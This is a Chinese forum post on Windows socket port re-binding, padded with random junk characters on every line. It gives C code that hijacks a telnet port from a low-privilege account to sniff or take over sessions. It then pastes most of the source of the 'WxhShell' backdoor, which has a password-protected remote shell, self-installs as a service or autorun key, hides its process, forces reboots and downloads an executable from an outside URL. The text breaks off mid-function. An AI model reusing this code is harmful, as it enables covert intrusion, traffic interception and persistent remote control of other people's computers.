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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: h.c<A{[I6c  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); m`C(y$8fU  
V x1C4  
  saddr.sin_family = AF_INET; vPEL'mw/3#  
9Ue3 %?~c  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 1 GUF,A+_O  
q@;WXHO0  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); f XxdOn.  
sKIWr{D  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 j>~^jz:  
,p\^n`A32  
  这意味着什么?意味着可以进行如下的攻击: Z!=/[,b  
dT8m$}h9  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 VVeO>jd  
1\q(xka{  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Sr~zN:wn  
q /EK ]B  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 3:jKuOX  
A<^IG+Q,B7  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  / 3:R{9S%  
x<60=f[O2R  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 r/=v;4.W  
%)*!(%\S*3  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 W"4E0!r  
{EbR =  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 E&V"z^qs_  
~PaD _W#xP  
  #include 'qQ 5K o  
  #include e8gJ }8Fj  
  #include @& #df  
  #include    %lz\w{  
  DWORD WINAPI ClientThread(LPVOID lpParam);   UK+;/Mtg  
  int main() qdh;zAMx  
  { |J2_2a/"  
  WORD wVersionRequested; a*hOT_;#  
  DWORD ret; h8 >7si  
  WSADATA wsaData; u7G@VZ Ux5  
  BOOL val; 6PT ,m  
  SOCKADDR_IN saddr; )hK5_]"lmj  
  SOCKADDR_IN scaddr; %KNnss}  
  int err; aKS 2p3   
  SOCKET s; Zoj.F  
  SOCKET sc; S$\l M<M  
  int caddsize; owZj Q  
  HANDLE mt; E-_)w  
  DWORD tid;   VaQ>g*(I  
  wVersionRequested = MAKEWORD( 2, 2 ); ;%2/  
  err = WSAStartup( wVersionRequested, &wsaData ); ,@%1q)S?A  
  if ( err != 0 ) { {YWj`K  
  printf("error!WSAStartup failed!\n"); S%uH*&`  
  return -1; xc Wr hg  
  } M_+&XLnzsJ  
  saddr.sin_family = AF_INET; aq~hl7MTj  
   W?~G_4  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 hXM8`iFW5  
~\4l*$3(^  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); )v;>6(  
  saddr.sin_port = htons(23); AuUT 'E@E  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @Ek''a$  
  { m9ts&b+TE  
  printf("error!socket failed!\n"); Xhtc0\0"(  
  return -1; 1;3oGuHj8  
  } A=!&2(  
  val = TRUE; "C.'_H!Ex  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 xy46].x-  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) >8Zz<S&z  
  { 67%eAS  
  printf("error!setsockopt failed!\n"); }$#e&&)n  
  return -1; +mhYr]Z  
  } J}EQ_FC"$  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 2_;.iH 6  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 -"u}lCz>  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 (G<"nnjK  
rmpJG |(  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) \+fP&  
  { ^ $Q',  
  ret=GetLastError(); \c/jp5=}  
  printf("error!bind failed!\n"); k#R}^Q  
  return -1; }M?GqA=  
  } !1+L0,I6  
  listen(s,2); 2,puu2F  
  while(1) \lCr~D5  
  { 5 g99t$p9  
  caddsize = sizeof(scaddr); GZ/.eYE  
  //接受连接请求 0vmMNF  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); cy*Td7)/  
  if(sc!=INVALID_SOCKET) ?|TVz!3  
  { w7p%6m  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); pA3j@w  
  if(mt==NULL) &tw.]3  
  { 6[wej$ u  
  printf("Thread Creat Failed!\n"); (*7edc"F  
  break; P~redX=t@  
  } 1c~c_Cc4  
  } R"e~0WO  
  CloseHandle(mt); -'BJhi\Y]~  
  } O7ceSz  
  closesocket(s); ir qlU  
  WSACleanup(); 3ag*dBbs  
  return 0; H)t YxW  
  }   <%hSBDG!x  
  DWORD WINAPI ClientThread(LPVOID lpParam) 0z&3jWWY@  
  { 5fv eQI~!  
  SOCKET ss = (SOCKET)lpParam; $5r[YdnY<  
  SOCKET sc; w;0NtV|  
  unsigned char buf[4096]; d]VL( &  
  SOCKADDR_IN saddr; OgyETSN8C  
  long num; R!W!8rr3  
  DWORD val; 4pV.R5:  
  DWORD ret; pA='(G  
  //如果是隐藏端口应用的话,可以在此处加一些判断 |@]J*Kh  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   yeKzI~  
  saddr.sin_family = AF_INET; Un^QNd>  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); '[I_Iu#,  
  saddr.sin_port = htons(23); -q&VV,  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) i96Pel  
  { xU@YBzbk  
  printf("error!socket failed!\n"); 7A8jnq7m/  
  return -1; @cAv8i K  
  } );}k@w fw)  
  val = 100; ;nji<  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5g&.P\c{  
  { PP/M-Jql)  
  ret = GetLastError(); r^ S 4 I&  
  return -1; WG NuB9R  
  } E:4`x_~qQ  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~Lhq7;=H?O  
  { ~l}rYi>g%  
  ret = GetLastError(); dl'pl  
  return -1; Me yQ`%  
  } UA>~xJp=  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 6/hY[a!  
  { $Eg|Qc-1  
  printf("error!socket connect failed!\n"); -LzHCO/7(  
  closesocket(sc); %Z 9<La  
  closesocket(ss); !e&ZhtTuC  
  return -1; +8."z"i3lE  
  } '{\VO U  
  while(1) m;WUp{'  
  {  "@Bc eD  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 BZQ98"Fz*  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 `/f9 mn  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 C 6Bh[:V&  
  num = recv(ss,buf,4096,0); j*x8K,fN  
  if(num>0) _Z.lr\  
  send(sc,buf,num,0); ;E(gl$c:  
  else if(num==0) I.Co8is  
  break; @y;N u   
  num = recv(sc,buf,4096,0); /'QNlP[L;  
  if(num>0) = PcmJG]  
  send(ss,buf,num,0); "BK'<j^q  
  else if(num==0) rhMsZ={M  
  break; x6* {@J&5*  
  } ct3QtX0B  
  closesocket(ss); Um)0jT  
  closesocket(sc); '$ ~.x|  
  return 0 ; w}G2m)(  
  } m/| >4~  
]NNLr;p  
pM@|P,w {  
========================================================== _Hl[Fit<j1  
Jn +[:s.  
下边附上一个代码,,WXhSHELL ^ox^gw)  
7e/Uc!&*  
========================================================== >J[g)$,  
m}T^rX%m_  
#include "stdafx.h" Pg-~^"?y  
pB|L%#.cW  
#include <stdio.h> w8wF;:>  
#include <string.h> ? 1?^>M  
#include <windows.h> j.uN`cU!  
#include <winsock2.h> |0U"#xkf  
#include <winsvc.h> $B7<1{<=W  
#include <urlmon.h> 5UVQ48aT  
#57nm]?  
#pragma comment (lib, "Ws2_32.lib") oylY1~~}0K  
#pragma comment (lib, "urlmon.lib") U;D!m+.HK  
[Oxmg?W  
#define MAX_USER   100 // 最大客户端连接数 2" ~!Pu^.j  
#define BUF_SOCK   200 // sock buffer im>Sxu@  
#define KEY_BUFF   255 // 输入 buffer e,={!P"f  
J|sX{/WT  
#define REBOOT     0   // 重启 WiH%URFB  
#define SHUTDOWN   1   // 关机 a^ <  
({yuwH?tH  
#define DEF_PORT   5000 // 监听端口 n <6}  
$7a| 9s0  
#define REG_LEN     16   // 注册表键长度 o\@1\#a  
#define SVC_LEN     80   // NT服务名长度 +hpXMO%?  
*!,+%0  
// 从dll定义API i5?)E7-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); E8T4Nh_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); HelC_%#^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3%/]y=rA  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .6 !IO^`[  
r) T^ Td1  
// wxhshell配置信息 $yIcut7  
struct WSCFG { S6B(g_D|  
  int ws_port;         // 监听端口 k;3Bv 6  
  char ws_passstr[REG_LEN]; // 口令 hqnJ@N$yY  
  int ws_autoins;       // 安装标记, 1=yes 0=no =$}P'[V  
  char ws_regname[REG_LEN]; // 注册表键名 }9R45h}{<  
  char ws_svcname[REG_LEN]; // 服务名 ! W$ u~z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ') 5W  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  .LEQ r)  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Bz_['7D  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *qAF#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }; +'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >Gk<[0U  
+Q_X,gZ  
}; fPiq  
_{8f^@I"+  
// default Wxhshell configuration XLwbA4ORq  
struct WSCFG wscfg={DEF_PORT, r62x*?/  
    "xuhuanlingzhe", gd_w;{WP  
    1, q#pBlJ.LK  
    "Wxhshell", ?Mp~^sgp'  
    "Wxhshell", BcX}[?c  
            "WxhShell Service", Xj&{M[k<  
    "Wrsky Windows CmdShell Service", 7$z")JB  
    "Please Input Your Password: ", ~=Z&l  
  1, n4 KiC!*i0  
  "http://www.wrsky.com/wxhshell.exe", ^LfCLI9Z  
  "Wxhshell.exe" ~2 T_)l?  
    }; $ N5VoK  
 V-}d-Y  
// 消息定义模块 pco~Z{n  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Xl#vVyO  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [zm&}$nnN  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; o$\ {&:y  
char *msg_ws_ext="\n\rExit."; ?|%^'(U}  
char *msg_ws_end="\n\rQuit."; T$06DS  
char *msg_ws_boot="\n\rReboot..."; k*-_CO-h  
char *msg_ws_poff="\n\rShutdown..."; 8d-; ;V  
char *msg_ws_down="\n\rSave to "; "monuErg&  
1T%Y:0  
char *msg_ws_err="\n\rErr!"; kN`[Q$B  
char *msg_ws_ok="\n\rOK!"; ^v}Z5,aN  
Mw?nIIu(@  
char ExeFile[MAX_PATH];  ^OI  
int nUser = 0; -fj;9('YJ  
HANDLE handles[MAX_USER]; vYL{5,t {1  
int OsIsNt; z<+".sD'  
Uey.@2Q  
SERVICE_STATUS       serviceStatus; UY5ia4_D  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; s^^X.z ,  
5w gtc~  
// 函数声明 Q#}} 1}Ja  
int Install(void); prlnK  
int Uninstall(void); 5u:+hB  
int DownloadFile(char *sURL, SOCKET wsh); Gu V -[  
int Boot(int flag); N(dn"`8  
void HideProc(void); blid* @-  
int GetOsVer(void); $ &qB,>5=X  
int Wxhshell(SOCKET wsl); lT@5=ou[  
void TalkWithClient(void *cs); @?aNvWeavH  
int CmdShell(SOCKET sock); Gc~A,_(  
int StartFromService(void); 9| v  
int StartWxhshell(LPSTR lpCmdLine); vROl}s;  
dY~3 YD[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ba% [!  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); L:`|lc=^  
6[69|&  
// 数据结构和表定义 enF.}fo]  
SERVICE_TABLE_ENTRY DispatchTable[] = Z"lL=0rY/  
{ hEl)BRJ  
{wscfg.ws_svcname, NTServiceMain}, e[i&2mM  
{NULL, NULL} Bo`fy/x#  
}; go]d+lhFB  
Jb6rEV>  
// 自我安装 UIL5K   
int Install(void) 8.o[K  
{ zf$OC}|\w  
  char svExeFile[MAX_PATH]; 'M_8U0k  
  HKEY key; `tVBV :4\  
  strcpy(svExeFile,ExeFile); 7V4 iPx  
MCurKT<pQ  
// 如果是win9x系统,修改注册表设为自启动 j~\\,fl=  
if(!OsIsNt) { [=Np.:Y%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ({m["d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b/"gkFe#  
  RegCloseKey(key); <s9Sx>Zb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9$~D4T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Aw4Qm2Kf  
  RegCloseKey(key); 1;fs`k0p  
  return 0; (8GJLs 8  
    } %N/I;`  
  } ;p BXAl  
} r;y&Wa  
else { (dpBGt@  
(+Gd)iO  
// 如果是NT以上系统,安装为系统服务 -njxc{b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); z:+Xs!S  
if (schSCManager!=0) %p/Qz|W  
{ nkS6A}i3o  
  SC_HANDLE schService = CreateService U> e@m?  
  ( 3 V8SKBS  
  schSCManager, sG}}a}U1  
  wscfg.ws_svcname, 2a5yJeaIv*  
  wscfg.ws_svcdisp, G2;Uv/vR  
  SERVICE_ALL_ACCESS, U^VFHIm  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , uji])e MN~  
  SERVICE_AUTO_START, /# 0@C[9  
  SERVICE_ERROR_NORMAL, 5;`([oX|_  
  svExeFile, k,X)PQc  
  NULL, j+_g37$:  
  NULL, i2N*3X~  
  NULL, Lg9]kpOpa  
  NULL, K.o?g?&<  
  NULL !h?N)9e  
  ); bp_3ETK]P  
  if (schService!=0) $ n  n4  
  { Vn];vN  
  CloseServiceHandle(schService); VY=~cVkzS  
  CloseServiceHandle(schSCManager); ~ZG>n{Q   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); K._1sOw'"Y  
  strcat(svExeFile,wscfg.ws_svcname); ,{J2i#g<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _=U XNr8S  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); EIEwrC  
  RegCloseKey(key); {4}Sl^kn*  
  return 0; V *S|Qy!p  
    } |8`}yRsQ  
  } [DGq{(O  
  CloseServiceHandle(schSCManager); b2U[W#  
} `"GD'Oa  
} (cC5zv*E  
nqgfAQsE)  
return 1; w V;y]'  
} #xYkG5`lm  
BzTm[`(h  
// 自我卸载 $T;3*D90  
int Uninstall(void) YyK9UZjI  
{ aFIet55o  
  HKEY key; #g~~zwx/N  
@{+*ea7M(`  
if(!OsIsNt) { u>k;P UH4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  ynZ!  
  RegDeleteValue(key,wscfg.ws_regname); /I[cj3}{+f  
  RegCloseKey(key); 5mER&SX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Rv.W~FE^  
  RegDeleteValue(key,wscfg.ws_regname); Ko/_w_  
  RegCloseKey(key); *$`r)pV%AK  
  return 0; 168U-<  
  } F b`V.  
} G?3S_3J2  
} u:g(x+u4:  
else { "Hg n2o.;5  
"q#(}1Zd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .?AtW:<*I  
if (schSCManager!=0) ?xN8 HG4  
{ 9 *]Z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); YH<@->Ip  
  if (schService!=0) IEC:zmkn  
  { eHqf3f   
  if(DeleteService(schService)!=0) { yQou8P=%  
  CloseServiceHandle(schService); Q=uwmg86  
  CloseServiceHandle(schSCManager); ?ZTB u[  
  return 0; 27u$VHwb  
  }  9FWn  
  CloseServiceHandle(schService); tG%R_$*  
  } ~Ja>x`5  
  CloseServiceHandle(schSCManager); JXPn <  
} @ o;m!CYB  
} >x!N@G  
(&njZdcb*  
return 1; ;GH(A=}/Y  
} fF-V=Zf5  
:^l*_v{  
// 从指定url下载文件 2$T~(tem  
int DownloadFile(char *sURL, SOCKET wsh) WY*}|R2R  
{ =1\ 'xz}p?  
  HRESULT hr; ;=C^l  
char seps[]= "/"; 9]AKNQq m  
char *token; Ir0er~f+z  
char *file; Ty@&s 58a  
char myURL[MAX_PATH]; :Bn\1\  
char myFILE[MAX_PATH]; D+ jk0*bJ  
{qOSs,+=L  
strcpy(myURL,sURL); G1| Tu"  
  token=strtok(myURL,seps); &qe:|M  
  while(token!=NULL) ?I7H ):  
  { c-M&cU+=L  
    file=token; F},JP'\X  
  token=strtok(NULL,seps); #jDO?Y Sa  
  } 55,vmDd  
aQRZyE}  
GetCurrentDirectory(MAX_PATH,myFILE); &TK%igL  
strcat(myFILE, "\\"); 1 ViDS  
strcat(myFILE, file); Ef?_d]  
  send(wsh,myFILE,strlen(myFILE),0); m$@CwQj  
send(wsh,"...",3,0); k] f 7 3r  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); OW #pBeX99  
  if(hr==S_OK) '}!dRpx  
return 0; vW]BOzK  
else kV(?u_ R  
return 1; SKcAZC  
q=[0`--cd  
} #p_ ~L4iW  
>!a*wf~]  
// 系统电源模块 K0+J!- a]7  
int Boot(int flag) kkd<CEz2IM  
{ [2&Fnmjk}X  
  HANDLE hToken; sq<y2j1oF  
  TOKEN_PRIVILEGES tkp; }* BY!5  
;{Ovqo|  
  if(OsIsNt) { BF]b\/I  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <Ft.{aNq$c  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,l@hhaLm?  
    tkp.PrivilegeCount = 1; ^8fO3<Jg  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; T.K$a\/{,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,u\M7,a^  
if(flag==REBOOT) { @Z|cUHo  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) qbT].,?!U  
  return 0; M rVtxzH  
} fY-{,+ `'  
else { &}P62&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !{ )H  
  return 0; M)|}Vn;!  
} D.\p7 NJ  
  } -M/ny-; `}  
  else { P+Hs6Q  
if(flag==REBOOT) { v,2{Vr  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Llg[YBJ7>  
  return 0; /5wvXk|@  
} 1;H(   
else { K}a[~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) l(<o,Uv[`  
  return 0; UY|nB hL  
} dc:|)bK M  
} 8{h:z 9]J  
]54V9l:  
return 1; `Th!bk  
} 98V9AOgk  
~rKo5#D  
// win9x进程隐藏模块 Va !HcG1^:  
void HideProc(void) FTk!Mn88  
{ B04Br~hel*  
w"aD"}3  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3RGVH,  
  if ( hKernel != NULL ) Nf3Kz#!B  
  { cG ^'Qm  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0iHK1Pt}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); dIK!xOStA  
    FreeLibrary(hKernel); RL>[t  
  } Uu3[Cf=C  
-i 6<kF-W  
return; WE=`8`Li  
} RAxA H  
1?mQ fW@G  
// 获取操作系统版本 *S<>_R 8  
int GetOsVer(void) c%v%U &  
{ /Nxy?g|,  
  OSVERSIONINFO winfo; s V{[~U,|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !d"J,.)  
  GetVersionEx(&winfo); 9ft7  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *^QfTKN   
  return 1; g*!2.P  
  else 'n.ATV,  
  return 0; pU}>}  
} -3bl !9h^  
K uFDkT!  
// 客户端句柄模块 Grkj @Q*  
int Wxhshell(SOCKET wsl) b-~Gt]%>m  
{ 8$@gAlI^  
  SOCKET wsh; {{giSW'  
  struct sockaddr_in client; 4Tq%V|5"&  
  DWORD myID; )Ax1?Nx$  
}`*]&I[P  
  while(nUser<MAX_USER) wUl}x)xo  
{ 9[8?'`m  
  int nSize=sizeof(client); pn'*w 1i  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Y[*z6gP(  
  if(wsh==INVALID_SOCKET) return 1; bJGT^N@  
x'n J_0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2uU~$7~N  
if(handles[nUser]==0) [N H[n#  
  closesocket(wsh); ZW*"Kok  
else W;u~}k<  
  nUser++; +tlTHK  
  } m"jqHGFV  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >Rx^@yQ!+z  
hOw7"'# !  
  return 0; QT?fp >'  
} ZJI|762,  
V. :imj  
// 关闭 socket |'1[\<MM3  
void CloseIt(SOCKET wsh) whxE[Xnv  
{ :? yv0Iu  
closesocket(wsh); t0Ec` +)  
nUser--; 1*(^<x+n  
ExitThread(0); Qm ;ip E  
} iB[%5i-  
|>VDMezy  
// 客户端请求句柄 H|Q)Tp Lk  
void TalkWithClient(void *cs) |A}E/=HPU  
{ = V%s^  
.:$%3#N$(Y  
  SOCKET wsh=(SOCKET)cs; }1Q]C"hY  
  char pwd[SVC_LEN]; O@?? NF6G  
  char cmd[KEY_BUFF]; l[rIjyL@  
char chr[1]; EPdR-dC^wE  
int i,j; S'2B  
D4;V8(w=#  
  while (nUser < MAX_USER) { ]\*g/QV  
ym<G.3%1  
if(wscfg.ws_passstr) { Z2hRTJJ[A  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NDCZc_  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Bd)Qz(>rw  
  //ZeroMemory(pwd,KEY_BUFF); ?%B%[u  
      i=0; ZZ?=^g  
  while(i<SVC_LEN) { bL{wCo-Y  
-F@Rpfrj_#  
  // 设置超时 /]iv9e{uh(  
  fd_set FdRead; Rq9v+Xq2  
  struct timeval TimeOut; Hg]Q.SeJ(  
  FD_ZERO(&FdRead); nv@$'uQRp  
  FD_SET(wsh,&FdRead); >8oRO  
  TimeOut.tv_sec=8; LlX 7g _!  
  TimeOut.tv_usec=0; T%?<3 /Ev!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #![b9~%WTh  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); gb8nST$r  
>wz-p nD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !:a pu!  
  pwd=chr[0]; ]J:?@}\^  
  if(chr[0]==0xd || chr[0]==0xa) { UPUO8W)<Z6  
  pwd=0; pA4oy  
  break; )O2giVq7[0  
  } [ gx<7}[  
  i++; 3[aCy4O  
    } Z!7#"wO9+V  
jA<v<oV  
  // 如果是非法用户,关闭 socket ZrXvR`bsw  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ah) _mxK  
} .B_) w:oF  
3($%AGKJ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); l 0jjLqm:  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y(W>([59  
RY&Wvkjh  
while(1) { ;' YM@n  
1k3wBc 5<  
  ZeroMemory(cmd,KEY_BUFF); 4E&URl0Bh  
?VO*s-G:J  
      // 自动支持客户端 telnet标准   M*}C.E!  
  j=0; pZ%/;sxYa  
  while(j<KEY_BUFF) { 95[yGO>ZYz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~'=s?\I  
  cmd[j]=chr[0]; ko $bCG%  
  if(chr[0]==0xa || chr[0]==0xd) { 9bq#&~+  
  cmd[j]=0; F=$2Gz 'RT  
  break; ={YW*1Xw  
  } 9Clddjf?c  
  j++; <eI7xifD  
    } f-tjMa /_  
thl{IU  
  // 下载文件 |:L<Ko  
  if(strstr(cmd,"http://")) { _:?)2NV  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]aXCi"fMs  
  if(DownloadFile(cmd,wsh)) 8'@pX<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); W2qW`Ujo{  
  else -U'6fx) +  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xaAJ>0IM  
  } k 2_ "  
  else { 4:y;<8+j\  
q --NLm@;  
    switch(cmd[0]) { 6rF[eb  
  WojZ[j>  
  // 帮助 O>lF{yO0`  
  case '?': { P`cEu6:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [XhuJdr"u  
    break; .~4%TsBaY  
  } wJ/k\  
  // 安装 e(O"V3wq*6  
  case 'i': { ]ta]OK{s"  
    if(Install()) |j#x}8 [(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w%GEOIj}  
    else .3 m^yo c/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4%aODr8  
    break; ? D2:'gg  
    } ]SFB_5Gb  
  // 卸载 90Jxn'>^  
  case 'r': { `LEk/b1(P  
    if(Uninstall()) (iIJ[{[H4)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GL(R9Y  
    else c{ +Y $  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xoA\^AA  
    break; XTXRC$B  
    } q{[}*%  
  // 显示 wxhshell 所在路径 ?r"m*fY%  
  case 'p': { V+W,# 5  
    char svExeFile[MAX_PATH]; 1b-4wonQd  
    strcpy(svExeFile,"\n\r"); %AF~Ki  
      strcat(svExeFile,ExeFile); &JVe -.  
        send(wsh,svExeFile,strlen(svExeFile),0); C(Yk-7  
    break; K!lGo3n]  
    } A=Q"IdK  
  // 重启 /9/=]  
  case 'b': { h?p&9[e`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @D[jUC$E  
    if(Boot(REBOOT)) t.v@\[{ -  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S6*3."Sk  
    else { W1w)SS  
    closesocket(wsh); oQBfDD0  
    ExitThread(0); f5IO<(:E^  
    } 5#!pwjt~7  
